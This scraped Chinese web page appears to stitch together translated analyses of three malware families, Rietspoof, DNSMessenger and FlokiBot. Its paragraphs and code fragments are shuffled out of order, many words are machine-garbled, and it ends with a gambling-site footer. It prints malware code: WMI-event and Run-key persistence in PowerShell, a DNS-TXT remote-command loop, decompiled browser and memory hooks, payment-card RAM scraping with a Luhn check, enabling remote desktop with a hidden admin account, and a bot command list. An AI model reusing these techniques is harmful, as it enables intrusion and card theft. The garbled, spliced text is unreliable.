Rietspoof 恶意软件释放多个恶意有效载荷
通信左券 v2
率先,我们注意到 dropper 重用了一些 payload 的主要函数。创立该 dropper 的三个 Rizzo 具名并在 payload 中加载它能够 IDA 让识别仁同一视命名少部分函数。
原标题:恶意软件DNSMESSENGE中华V分析
从那几个代码片段中能够看来,脚本初步以一定的偏移量读代替码,对 CAB 文件举行反混淆管理并为下后生可畏阶段作筹算。代码逐字符转变为 ANSI 值并增加到 countervariable。在每一步,计数器与 val_01进展异或,并附加到已解码的字节。风趣的是,在每一步中,字符串 var_str_01 也会叠合到 var_str_02。
void enable_remote_desktop()
若是客户全数管理员权限,则脚本将创造长久WMI事件,並且监视客户登陆,30分钟之后实施编码的payload。以下是代码。首先,它会删除现存的:
六、第 4 阶段 – 下载程序
23E8B7D0F9C7391825677C3F13FD2642885F6134636E475A3924BA5BDD1D4852
末段的话
Bot 要么被地理围栏阻挡,要么未有开展分发。通讯具备简易的布局:
DWORD apiHash;
[bool]$flag = $false; $mutex = New-Object System.Threading.Mutex($true, "SourceFireSux", [ref] $flag); if (!$flag) { exit; }
三、扩展长久性
result = identify_mii(*a2, a1);
网编:
跟 ZeuS 和 Fobber(Tinaba 的进化版)同样,比比较多字符串都用它们自身的一字节的密钥异或加密了。恶意软件将有着的 ENC本田UR-VYPTED_STTiguanING 存款和储蓄在二个数组中,并将要传输进度中经过下标去混淆。加密过的字符串将以下边包车型地铁数据结构表现:
$event_filter = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “rootsubion” -Class __EventFilter -Arguments @{Name = $kernel32_filter; EventNamespace = “rootCIMV2”; QueryLanguage = “WQL”; Query = “Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'”} $event_consumer = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “rootsubion” -Class CommandLineEventConsumer -Arguments @{Name = $kernel32_consumer; ExecutablePath = “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe”; CommandLineTemplate = "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -WindowStyle Hidden -C `"IEX `$(Get-Content -Path $windows_path -Stream $kernel32_dll|Out-String)`""} Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “rootsubion” -Class __FilterToConsumerBinding -Arguments @{Filter = $event_filter; Consumer = $event_consumer} 预约职务
if ( v2 ) {
写在前头的话
· 15.1 混淆占位符,通讯契约 v1
# #
下边是八个归纳的Python3脚本,用于解码后边提到的Base64 blob
四、签名
else
字符串 "HELLOn" 被模糊并随着被去混淆
return v5;
乍大器晚成看,就像是那一个if之后的恶意代码应该永世不会实行,但由于协会System.Threading.Mutex的语义,静态深入分析工具或弱动态深入分析系统大概无法落到实处将$flag变为true。从Source Fire来看,可能是参预了这种特定的回避手艺,以阻止Source Fire剖析。很显著,代码应用nslookup命令重复查询DNS文本记录,那几个查询的响应决定了前后相继的作为:1."idle" 会导致进度在后续在此以前在3500到5400秒之内休眠2."stop" 会提醒进度退出3.三番一遍4.应用Invoke-Expression实行查询响应由于那几个世界不再抱有活性,大家将不得不依赖先前EdmundBrumaghin和科林 Grady at Talos的数额,因为它们进行了原始深入分析。
通讯合同 v1
运作完大家的剧本后,这里有贰个在 IDA 中反汇编后的样板:
为了响应DNS文本查询,你不可能不发送另三个payload,它总结三个gzip压缩和Base64编码的字符串,甚至对第3层中dec函数的调用,用以解开它,所得的结果将传递给要实施的Invoke-Expression命令行。依据Talos的剖释,那个payload重定向STDIN,STDOUT和STDEEnclave中华V,以便攻击者能够读取和写入命令行管理器,payload实施越来越多DNS查询命令,并与命令和垄断服务器构建通信通道。从这里起头,攻击者能够经过DNS文本查询、响应发送要在受害人Computer的命令行,来解释器上执行的命令,并收到那个命令的结果。
起步 NTLM 身份验证
[...]
接下来它会创建和睦。借使您有PowerShell 3.0或更加高版本,逻辑上讲是那样的:
此阶段尝试通过 TCP 上的 NTLM 左券建构身份验证的大路,其 C&C 的 IP 地址是硬编码的。
_WORD *v1; // ecx@1
注册表键
user_certs_remove
命令与垄断通讯
如上所述,这么些新的黑心软件 Rietspoof 在 2019 年 5月的运动急剧增添。在这里期间,开垦人士使用了多少个有效的证件来为有关文书签名。另外,有效载荷也经历了支付,即数次变更Stage 3 通讯左券的落到实处。尽管 Rietspoof 的数码很广阔,但观念和平运动转情势还是未知,目的也浑然不知。况兼,迄今结束,大比较多防病毒软件非常少检查测验到此恶意软件。
4);
那是意气风发段较旧但风趣的恶意软件分析,笔者将其解释为4个不等的层并描述了每一种层的属性,具体来讲,是想起了此恶意软件商量所选用的混淆格局,以致它用来落到实区长久性的分裂措施。
GET /? HTTP/1.1 Host: Connection:close Content-MD5: User-agent:Mozilla/5.0 ( Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1 ) Gecko/20061204 Firefox/2.0.0.1
DWORD dllHash;
解开Base64
此下载程序行使本地公约从硬编码地址获取另三个品级。纵然 Stage 3 公约包括bot 功能,但 Stage 4 仅看成钦命的下载程序。
f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd......省略
那几个本子在%PROG奥迪Q3AMDATA%Windows中开创了叁个名称叫kernel32.vbs的备用数据流,并向其写入代码,该代码可以从上一步中存款和储蓄的别样地点检索并施行payload。每趟客商登入30分钟后,攻击者会修改运维注册表项以试行kernel32.vbs。假诺客商具备助理馆员权限,则目的密钥为HKLM:SoftwareMicrosoftWindowsCurrentVersionRun, 不然,目的密钥为HKCU:SoftwareMicrosoftWindowsCurrentVersionRun。
独有在率先次见到发送的客商端 ID 时才会发送命令 "HA福特ExplorerDWARE"。命令 "OK" 总是产生通讯终止。那些轻巧的讨论每间距几秒钟按时实践一次。
在我们运营完前面用来去混淆 API 调用的台本,以至牢固好钩子结构数组之后,大家就足以很随便的用别的的 IDA 脚本来解析它,以分明和命名钩子函数(hook_* )。大家最后收获上边包车型客车报表:
解码后,生成的内容依然不可能读取。但大家得以清楚其剧情是GZIP格式的:存款和储蓄在lStr中的VB字符串运用System.IO.Compression.GZipStream对象解压缩解码内容的一声令下;另豆蔻梢头种识别模式是由此其(magic number),即起来文件签名(1F8B);大家还是能在Unix机器上利用file 命令来分明文件类型。今后,咱们将运用gunzip 解压缩内容,那会创建贰个享有同样名称的解压缩文件,张开解压缩的文件将显得模糊的PowerShell代码(第2层),经过一些清理和重构后,脚本作为的扶摇直上对细节会变得更为扎眼。
v4 = *BaseAddress;
import base64 import sys with open(sys.argv[1]) as f: encoded = f.read() sys.stdout.write(base64.b64decode(encoded))
混淆 "HELLO n" 字符串
# RunPlugin("python", 3)
承袭进一步商量。
由恶意软件生成的 HTTP GET 需要是通常的,除了大概七个标头之外。上面是 HTTP 央求的自己要作为圭臬遵守规则。请在乎,Content-MD5 标头不是必须的 ; 其余,Content-MD5 标头以自定义和规范的不合法情势利用。其他,User-agent 字符串在二进制文件中是硬编码的。
FlokiBot identify_mii 流程:
存储payload
大好些个注明由 COMODO 或 Sectigo 颁发
bot_bc_add
DNS查询
在新本子的 VBS 中,恶意软件作者从 2019 年 1 月 25日起来增添了三个新的长久性成效。该脚本在运维时创立三个名叫WindowsUpdate.lnk 的新 LNK 文件。此 lnk 文件在开发银行后运维扩充的 PE 文件,以保证在重新起动Computer时可施行文件。
当 Floki 发掘 track2 数额,它就能够通过查看 PAN 的发端来鲜明发行方。在这里个包蕴新闻量的网页,你能够找到一文山会海发行方的识别号:
滚动解压缩的脚本你会找到另一个Base64 blob,它当做下风华正茂阶段的payload,笔者将其命名叫第3层payload。
· Res:OK
v4 = 0;
VB和嵌入式PowerShell
证实和从 C&C 服务器接收数据的主循环
→ 浏览器中间人(Man-in-the-Browser)
借使被害人具备PowerShell 3.0或更加高版本,则该脚本将编码的第3层payload存款和储蓄在名称叫kernel32.dll的备用数据流中,位于%PROG锐界AMDATA%Windows。恶意软件作者平日用ADS来掩藏数据,只需列出其文件,你就不能找到payload。倘诺受害者具备较旧版本的PowerShell,则该脚本会在注册表中为密钥增加名称为Path的新属性,以存款和储蓄有效内容。若是顾客全部管理员权限,有效内容将积累在HKLM:SoftwareMicrosoftWindowsCurrentVersion中,不然,它将积累在HKCU:SoftwareMicrosoftWindows中。
os_reboot
始建新的WMI对象
随后,它开头通过上述通道与 C&C 通讯,目标是进展下多个等第或只怕的尾声有效载荷。
if ( v11 )
Base64解码和平化解压缩的PowerShell
二、实践 PE 和覆盖印迹
率先,为弄精晓如何没错误的检索出它们,作者会运维龙腾虎跃段代码罗列 decrypt_string 的参数是什么入栈的。
该脚本还有可能会创建多少个计划任务,以便在客商登入后30分钟运转恶意软件。用于运维恶意软件的不二等秘书籍仅略有分裂,具体决定于顾客是不是富有管理员权限。即使客户是非管理员, w 则用于施行内容 kernel32.vbs。否则,使用 Invoke-Expression cmdlet。
这很只怕是想经过选择进行的指令生成更加多命令来破坏行为检查实验。
中,这样当该进程想要释放一大块内部存款和储蓄器的时候它就能够提前查找 track2 PAN 。用这种形式,它就不太恐怕会遗失PAN.
gwmi __eventFilter -namespace rootsubion | Remove-WmiObject gwmi CommandLineEventConsumer -Namespace rootsubion | Remove-WmiObject gwmi __filtertoconsumerbinding -Namespace rootsubion | Remove-WmiObject
以下八个指令能够代表 OK:
→ 字符串去混淆
在此大家开掘了三个问题,攻击者为了让脚本更难被破解嵌入了多量换行间隔,普及分散内容,在动用OLETools突显宏之后,我们还应该有花多量时光来搜索真正实用的剧本。笔者还利用了职务字符串连接来破坏简单的字符串签字——那推进攻击者逃避静态分析工具,寻觅像"winmgmts:\.rootcimv2"那样的字符串,并大概会被以下内容抛出:"w" & "" & "in" & "" & "mgm" & "" & "ts" & "" & ":" & "" & "\" & "." & "r" & "" & "ootc" & "" & "imv" & "" & "2"我们选用lStr命令对变量进行解码:lStr = "powershell -ep bypass -C ""$data = [System.Convert]::FromBase64String('H4sIAAAAAAAEAO1da3PayNL 7l hol ... many many more lines ...如图:
差了一些每种版本的 VBS 文件都饱含多个新证书,举例:
# #
*参照来源sentinelone,由周大涛编写翻译,转发请注解来源FreeBuf.COM归来新浪,查看更加的多
user_url_block
源代码
此外,C&C 服务器仅与安装为 USA 的 IP 地址通讯,那使得我们感到攻击者正在针对特定对象张开抨击,也许攻击者仅出于测量检验原因使用 USA IP 范围。何况,有相当大可能率还会有更加多阶段尚未揭露。以下是我们到现在的宏观剖判结果。
请点击这里输入图片描述
今日大家已经研讨了攻击者达成恶意软件长久性的各个艺术,让大家来探视下贰个编码的payload是由哪些组成的。在Base64解码和少年老成部分手动反混淆之后,你会注意到函数逻辑带头的这段代码,它富含了if之后的广大别样代码。
归纳的将那几个代码块从 base64 转换为十六进制,然后剖判这几个 ASN.1 十六进制字符串时,大家赢得到该证件的类别号:
→ PoS恶意软件特征:内部存储器截取
那个恶意软件开掘于一个SHA-256 hash: 340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981的黑心Word文书档案中。为了从宏中提取VBA源代码,作者利用了OLETools工具,安装OLETools之后,只需运行命令olevba 就足以显得出宏。
v11 = 1;
在这里篇小说中,作者将给我们介绍豆蔻梢头种通过剖判DNSMessenger恶意软件提取的诀要,通过那些事例结果,你们能够研究笔者动用的措施,并盘算每个步骤的历程。
Visual Basic 脚本的首先有个别是用来读取和反混淆嵌入式二进制文件的函数。
typedef struct
时间表
# sys.path.append("/usr/local/lib/python2.7/dist-packages")
有趣的是,第三阶段选择轻巧的 TCP 合同与 C&C 进行通讯,其 IP 地址在二进制文件中是硬编码的。该左券使用 AES-CBC 形式加密。在首先版中,大家入眼到密钥是从早先握手中赢得的,而在第二版中,它是从硬编码的字符串中派生出来的。在第二版中,左券不仅仅支持本身的 TCP 左券,并且还尝试采纳 HTTP/HTTPS 央求。思量到改动通讯公约所需的工作量,相当少看见 C&C 通信协议被修改到这种程度。固然改换混淆方法很广泛,但 C&C 通讯在超过50%恶意软件中国和东瀛常保持相对安静。
if ( dword_41DC2C )
· Res:client_hello(在本子 2 中已弃用)
unsigned int __stdcall hook_NtProtectVirtualMemory_wrap(void *ProcessHandle, int *BaseAddress, int NumberOfBytesToProtect, int NewAccessProtection, int OldAccessProtection)
大家注意到第三阶段正在急速提升,临时会同有的时候间运维多个差异的分支。在大家的分析进度中,通讯左券被屡次修改并增添了新职能。比方,前期版本援助字符串混淆,几天后实施,然后在 1 月 23 日,我们看看回滚了内部的一些变动。较新的版本还协助命令行开关 "/ s",用于将团结设置成名称为 "windmhlp" 的劳务。
int startup_lnk() {
}
· 18.1 实现了模糊,服务安装,通讯合同 v2
依靠ZeuS,FlokiBot 用了一样种但又有个别许例外的布局数组来存款和储蓄它的钩子:
· 23.1 混淆报销,通讯左券 v1,服务安装
int result; // eax@2
自 2018 年 8 月以来,大家直接在监督名字为 Rietspoof 的新恶意软件。Rietspoof 是新惹事物正在如火如荼种新的多阶段恶意软件,具有部分不胜掌握的表征和效果。当我们刚发轫追踪Rietspoof 时,它每月更新三遍。但是,在 2019 年 6月,我们注意到其立异节奏退换为了天天。
if ( v0 != -1 ) {
void *functionForHook;
七、总结
浅析WINAPIHOOK 结构并以hook_[API name] 的格式重命名钩子函数。
有幸的是,对于大家来讲,旧契约仍然适用于选取 HTTP 代理的情形。大家信赖那在剖析恶意软件之间能够起到防备中间人抨击的维护作用。可是,在我们的事例中,它同意大家配备四个只作少之又少修改的新跟踪脚本,因为只改换了密钥协商公约。
RtlEnterCriticalSection_wrap(&unk_41E6E8);
即便跳过上一步,假设当前客商不是 admin,则接下去运营扩大的 PE 文件。首先,该脚本删除陈设职责 Microsoft Windows DOM 对象援救程序。那是由恶意软件小编实现的,以担保他们可以在安排职务中创设一个新值,该任务指向前生龙活虎阶段扩大的扩张PE 文件 ; 它被安装为在一秒钟后推行。然后从%TEMP%目录中除去 CAB 文件。
v7 = 0; v3 = 1; v8 = 2;
因而联系 PFXImportCertStore ,FlokiBot 能够窃取数字证书。此法 Zeus 和 Carberp 也会有用到。
该脚本首先通过轻松地读取注册表项 "HKEY_USEMuranoSS-1-5-19EnvironmentTEMP" 来检查登入的顾客是或不是为 Admin。假如成功,则将 func_read_Registry 设置为 True。
if ( byte_41E43C ) {
· 22.1 混淆报销,通讯公约 v1
payload 用的是风姿潇洒致的 CRC 函数和千篇少年老成律的异或密钥,所以那一个本子对它们都有效。
· Req:ID
✿ 用 IDAPython 完全静态去混淆
作者们的探究仍回天无力验证大家是还是不是已觉察整个感染链。纵然恶意软件具有 bot 功用,但它根本设计为 dropper。别的,低流行率和地理范围意味着任何或者的未知因素。比方,大家或者失掉了仅分发到特定 IP 地址范围的其他样品。
cstm_RegSetValueExW(
· Req:client_hello(在本子 2 中已弃用)
}
五、第 3 阶段 – 释放 bot
v0 = cstm_RegQueryValueExW(&v3, (int)L"fDenyTSConnections", (int)&v1, (int)&v2, 4);
在这阶段,CAB 文件将以 "JSWdhndk.sjk" 名称保存到Computer的 Temp 文件夹中。供给从当中提取后续阶段,那通过动用 expand.exe 来成功:
本着近年的 FlokiBot 样品,@v0id_hunter 上传了了上边这一个 SHA256.
fs_path_get
到近日截止,咱们已看见了 Rietspoof 第三等第的多个本子,阅览开采它们在通讯左券方面大分裂样。此阶段具备简易 bot 的功用:它能够下载 / 上传文件,运转进度或运转自残成效 C&C 服务器也大器晚成度落到实处了依照 IP 地址的主旨地理范围。当我们尝试从实验室互联网与它举办通讯时,大家从没收受任何 " 有意思 " 命令 ; 然则,当大家将假客商端移到U.S.A.时,大家接受了带有下如日中天阶段的指令。
while ( v5 );
千帆竞发握手和随之的密钥生成
int strStartupFolder; // [sp 8h] [bp-20Ch]@1
恶心软件小编的多个有趣举措是选拔 cmd / c 从命令行运转命令。看一下这么些命令的陈说:
ARRAY_ADDR = 0x41B350 # Depending on sample
✿ 最终索要留意的和哈希值
· Res:OK 或 HARDWARE
result = v4 % 10 == 0;
其三等级通讯的首先版使用八个一定轻松的磋商。首先,通过由消息和响应组成的抓手生成密钥和开端化向量,包涵32 个随机字节和 4 个字节的 CRC32 校验和。然后,将轻松字节一齐展开xor-ed,并在结果上行使 SHA256 得到密钥。类似地,在 SHA256 摘要上使用 MD5 会生成早先化向量。从今后起来,那几个参数用于 AES-CBC 加密消息。请在乎,填充函数设计奇怪:若是必要,最后一个块填充为 15个字节,而且在终极贰个块之后一而再追加别的 16 个零字节。
int v2; // eax@2
Rietspoof 第三等第的第二版也采纳了二个近乎的商酌,扩充了有个别新的开始和结果。第二版尝试通过 HTTP / HTTPS 实行通讯,除非设置了代办,在代理景况下,它会转接原始 TCP。此新本子也躲过了启幕握手,因为它应用硬编码字符串 "M9h5an8f8zTjnyTwQVh6hYBdYsMqHiAz" 实际不是对四个随机字符串进行异或。一样,这么些字符串通过 SHA256,发生叁个密钥,SHA256 经 MD5 生成三个初始化向量。这个参数用于 AES-CBC 加密新闻。
if ( setChromeHooks() )
当此标记设置为 True 时,VBS 将日期变动为 01-01-2109,从%TEMP%删除 CAB 文件,运营扩大的可实践文件,并删除原始脚本以覆盖其印痕。然后,它将日期变动回实际日期。在未释放文件的脚本中不应用具有2109 年的日子。一初阶,大家感觉那只是多个错字,估量的近日日期是 01-01-2019,但该纵然未有得到证明。
LdrLoadDll_wrap hook_LdrLoadDll_wrap 84C06AAD (ntdll) 18364D1F
· Req:HW(假使早先的复原是 HA摩尔根Plus 4DWARE)
user_cookies_get
0x80000002,
通信以 client_hello 开头,那条音讯只含有 "HELLOn",希望 "HELLO n" 作为响应(实际上响应始终是 "HELLOnnnnnn … ")。然后,顾客端发送命令 "ID: 2.10 n"。收到响应 "OK","HA福特ExplorerDWARE" 或更加强硬的一声令下。在前端中,通讯甘休何况循环休眠两到五分钟。响应 "HA奇骏DWARE" 引发供给 "HW: CPU RAM: USEQashqai:",进度权限为 "admin"(进程具有助理馆员权限)或 "user"。同样,在该音信随后,接收到响应 "OK",相应地截止通讯。
}
# May take a few minutes to resolve imports.
方兴未艾、VBS 混淆 & 释放嵌入文件
int __stdcall hook_NtFreeVirtualMemory_wrap(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
在这里步骤之后,var_str_02 将用作新函数的参数。第三个参数是 TempPath Gavin件名:
# Works with FlokiBot dropper with some small changes.
Rietspoof 利用三个品级,结合各个文件格式,分发更五种化的恶心软件。大家的数目表明,第旭日初升阶段是透过即时音讯客商端(如 Skype 或 Messenger)分发的。它散发了二个莫斯中国科学技术大学学混淆的 Visual Basic 脚本,当中含有一个硬编码和加密的第二阶段——八个 CAB 文件。CAB 文件扩充为可实施文件,该文件大多使用 Comodo CA 颁发的灵光证件实行数字具名。在第 4 阶段 .exe 安装八个下载程序。
void* strEncrypted;
阅读原版的书文
bot_ddos_stop
WORD size;
int v8; // [sp 210h] [bp-4h]@6
自打 ATS 这种方法因为太复杂而不能编制程序以致太难安插后,使用远程桌面进行互联网违规成为了新的方法。通过这种措施,它们得以猎取被感染的微管理器的有所权力,进而获取指标的新闻,并实行期骗职务,比方手动转移钱财。
bot 用八个伪随机名字把温馨复制到 C:Documents and Settings[username]Application Data 并经过在 Windows 的起步文件夹创设一个 .lnk 来获得长久性。
}
trigger_ram_scraping((int)v4);
FlokiBot
3: Amex / Dinners / JP
投稿、合作:www.kanxue.com
恶意软件特征都很风趣,值得分析。而且,它的歪曲才具极粗略,能够绝不 AppCall,只用 IDA 脚本就能够进行静态解析。
dll_hash = hash_filename(filename_len, v8);
由此放置一个钩子和过滤 NtProtectVirtualMemory
PVOID v4; // ebx@1
# ====================================================== #
sub_416DBD(*ModuleHandle, dll_hash);
if ( dll_hash == 0x2C2B3C88 || dll_hash == 0x948B9CAB ) { // hash nss3.dll & nspr4.dll
PAN。为克服那一个标题,在 Floki 把温馨注入到某三个进度后,它会停放贰个钩子到 NtFreeVirtualMemory
......代码省略
经过把温馨注入到 Firefox 和 Chrome 进程中并拦截 LdrLoadDll 来促成浏览器中间人抨击。假若浏览器加载的 DLL
v15 = 7; v16 = 9; v4 = 0; v5 = 16;
fs_search_add
DWORD originalFunctionSize;
[...]
(int)&v3,
return retBaseAddress;
if ( result )
v5 = LdrGetDllHandle_wrap(PathToFile, 0, ModuleFileName, ModuleHandle);
int retBaseAddress; // [sp 18h] [bp Ch]@7
6: Discover
v12 = 1; v13 = 3; v14 = 5;
# ====================================================== #
报纸发表是用 RC4 和异或混合加密的。大家用来去混淆字符串的代码能够帮我们识别上面那个显明命名的命令行:
bot_uninstall
→ 通讯
{
v2 = 0;
→ 鉴定区别函数
}
int __stdcall hook_LdrLoadDll_wrap(int PathToFile, int Flags, int ModuleFileName, int *ModuleHandle)
✿ API 调用和钩子的静态去混淆
v5 = 0;
CRC_POLY = 0xEDB88320 # Depending on sample
{
这段时间 FlokiBot 还并未有只是 TO牧马人,但您能够在代码中找到那几个特点的一些划痕。
{
{
# IDAPython script to deobfuscate statically the bot32 payload of the banking malware FlokiBot.
是又生机勃勃依照 ZeuS 的恶心软件,有些代码以至是平昔从 Carberp 拿来的。即使这样,它的消除关系操作和 PoS
NtQueryVirtualMemory_wrap hook_NtQueryVirtualMemory_wrap 84C06AAD (ntdll) 03F6C761
else
(int)L"fDenyTSConnections",
fs_search_remove
v0 = v8;
调用来保卫安全它的钩子,防止止它们被累死杀毒软件重新苏醒设置到原函数中。无论曾几何时,当三个主次想要改换Floki已经注入的历程的内部存款和储蓄器珍重机制的时候,Floki会阻断该调用并赶回STATUS_ACCESS_DENIED.
const void *v4; // eax@2
v9 = 4; v10 = 6; v11 = 8;
void *hookerFunction;
if ( BaseAddress )
RtlLeaveCriticalSection_wrap(&unk_41E6E8);
→ 尊崇钩子
# Imports are fully resolved, hooks are identified and named and strings are decrypted and added in comments, without using any debugger.
v12 = v6;
return result;
void *originalFunction;
初稿头阵:看雪论坛 http://bbs.pediy.com/thread-216639.htm
以此 payload 想要通过贮存器来手动激活远程 Windows 桌面,然后实行调整台命令行增多一个蒙蔽的协会者账号 test_account:test_password 。
(int)L"SYSTEM\CurrentControlSet\Control\Terminal Server",
bot_update_exe
return result;
if ( cstm_WaitForSingleObject() ) {
钩子就能够自行安装,让恶意软件能够完毕表单抓取和网址注入。
}
user_destroy
}
# ----------------------------------------------------
{
v8 = 0;
NtResumeThread_wrap hook_NtResumeThread_wrap 84C06AAD (ntdll) 6273819F
解密字符串并将解密后的值放在解密字符串函数调用处的注释中。
return v0;
v3 = 0; // 0 = Enables remote desktop connections
v5 = v4;
API,然后将她们和大家用代码收罗到的哈希值进行相比。借使合作,我们就用 IDAPython 重命名该函数,使得反汇编更具可读性。因为
5:Mastercard
v1 = (_WORD *)PathFindFileNameW_wrap(&pFilename);
[...]
在自家的前大器晚成篇文章中,笔者逆向了生机勃勃款极度基础的名叫 TreasureHunter 的 PoS 恶意软件。它重要用内部存款和储蓄器截取为首要手腕来窃取主账号(PAN)。
}
}
NtFreeVirtualMemory_wrap hook_NtFreeVirtualMemory_wrap 84C06AAD (ntdll) E9D6FAB3
# idaapi.enable_extlang_python(True)
const void *v5; // esi@3
# #
那是自个儿用来去混淆该 payload 的欧洲经济共同体的 Python 脚本:.
{
NewAccessProtection,
}
if ( v1 && (v2 = cstm_strlen(v1), sub_40FECB(v2 - 4, v3), v4) )
Python 重新达成哈希进程,哈希全部被 FlokiBot 加载的具备
鲜明bot引进的持有函数并以[API name]_wrap 的格式重命名它们。
}
的哈希值和 nss3.dll, nspr4.dll 或 chrome.dll 任三个的哈希值匹配,API
v0 = -1;
v6 = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
博客园:看雪安全
do // Luhn Algorithm
NtProtectVirtualMemory_wrap hook_NtProtectVirtualMemory_wrap 84C06AAD (ntdll) 5C2D2E7A
}
signed int v0; // eax@3
if ( !v3 )
user_logoff
# #
if ( v5 >= 0 && !dword_41E6A8 && ProcessHandle == (HANDLE)-1 && cstm_WaitForSingleObject() )
if ( RegOpenKeyExW_wrap(0x80000002, L"SYSTEM\CurrentControlSet\Control\Terminal Server", 0, 1, &v3) )
int v3; // [sp 8h] [bp-4h]@2
→ 概述
char xor_key;
else if ( dll_hash == 0xCAAD3C25 ) { // hash chrome.dll
它根据 IDAPython 和 PeFile。它专为静态深入分析规划,你不用开启任何 debugger 来让这段程序专门的工作。它将不负众望以下的干活:
多谢阅读。
dword_41DA0C |= 2u;
int v2; // [sp 4h] [bp-8h]@2
retBaseAddress = NtProtectVirtualMemory_wrap(
RtlEnterCriticalSection_wrap(&unk_41D9F4);
char result; // al@1
if ( check_base_addr(*BaseAddress) )
bot_ddos_start
{
user_cookies_remove
v4 = v6;
if ( build_lnk((int)&v8, (const char *)L"%s\%s.lnk", &strStartupFolder, v5) > 0 )
LABEL_18:
v11 = setNspr4Hooks(v10, dword_41DC2C);
{
_WORD *v3; // ecx@2
→ 完整的 IDAPython 脚本
BaseAddress,
import pefile
cstm_FreeHeap(v5);
NumberOfBytesToProtect,
int v0; // edi@1
{
RtlLeaveCriticalSection_wrap(&unk_41E6E8);
Floki 并从未翻动全部IIN (6 位),而是只检查了第壹个人看它是还是不是切合上边包车型大巴发行方:
else
user_certs_get
......(代码省略)
✿ 挂钩API
v1 = 4;
Original Function Hooked Hooker Function DLL Hash API Hash
看雪论坛:http://bbs.pediy.com/
int v5; // edi@3
user_execute
if ( v5 < 0 && v6 >= 0 && ModuleHandle && *ModuleHandle && ModuleFileName )
v0 = 0;
} HOOKWINAPI;
import sys
v5 = NtFreeVirtualMemory_wrap(ProcessHandle, BaseAddress, RegionSize, FreeType);
return 0xC0000022; // STATUS_ACCESS_DENIED
bot_httpinject_enablebot_httpinject_disablebot_bc_remove
v3 = v3 == 0;
filename_len = cstm_strlen(*(_WORD **)(ModuleFileName 4));
v11 = 0;
# FLOKIBOT BOT32 DEOBFUSCATION IDA SCRIPT #
OldAccessProtection);
}
997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a
它们中的大多数皆有安装在 ZeuS 和任何银行恶意软件中。尽管如此,大家仍可以够专心到 NtFreeVirtualMemory 和 NtProtectVirtualMemory 的一些美不可言的、新的钩。大家将要下某个看看它们的用处。
bot_update
int dll_hash; // eax@8
v5 = BaseAddress;
NtAllocateVirtualMemory_wrap hook_NtAllocateVirtualMemory_wrap 84C06AAD
user_flashplayer_remove
v6 = a2[--v5] - '0';
int v1; // [sp 0h] [bp-Ch]@2
}
typedef struct {
越多非凡文章,长按江湖二维码,“关注看雪大学公众号”查看!
if ( !(dword_41DA0C & 1) ) {
Floki
ProcessHandle,
} ENCRYPTED_STRING;
user_flashplayer_get
v6 = *(&v7 v6);
RtlEnterCriticalSection_wrap(&unk_41E6E8);
v3 = 0x80000002;
}
ARRAY_ITER = 12 # Size of a triplet (3*sizeof(DWORD))
os_shutdown
4,
[...]
微信公众号 ID:ikanxue
思路是用
请点击这里输入图片描述
像大好多PoS恶意软件,FlokiBot
}
if ( v5 ) {
[...]
if ( byte_41B2CC ) {
{
→ 证书窃取
4:VISA
user_homepage_setuser_url_unblock
char __usercall check_mii_luhn@(void *a1@, _BYTE *a2@)
透过定期读取进度内部存款和储蓄器来寻找 track2 PAN 。显明,那并非很有效,因为您不可能时时监测内部存款和储蓄器,那样就能挂如日方升漏万相当多潜在的
Parsing hook table @ 0x41B000...
}
SHGetFolderPathW_wrap(0, 7, 0, 0, &strStartupFolder); // 7 = CSIDL_STARTUP
本文由 看雪翻译小组 lumou 编写翻译,来源 Arnaud Delmas
result = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
int filename_len; // eax@8
.
# coding: utf-8
i = 0
enable_remote_desktop 函数的伪码:
→ 激活远程桌面协议(景逸SUVDP)
→持久性
if ( cstm_WaitForSingleObject() && BaseAddress && ProcessHandle == GetCurrentProcess() )
FlokiBot
XOR_KEY = 0x34ED # Depending on sample
然后,它依照 Luhn 算法查看 PAN 是不是可行:
{
本文由广东快乐10分预测发布于广东快乐10分预测,转载请注明出处:Rietspoof 恶意软件释放多个恶意有效载荷
下一篇:没有了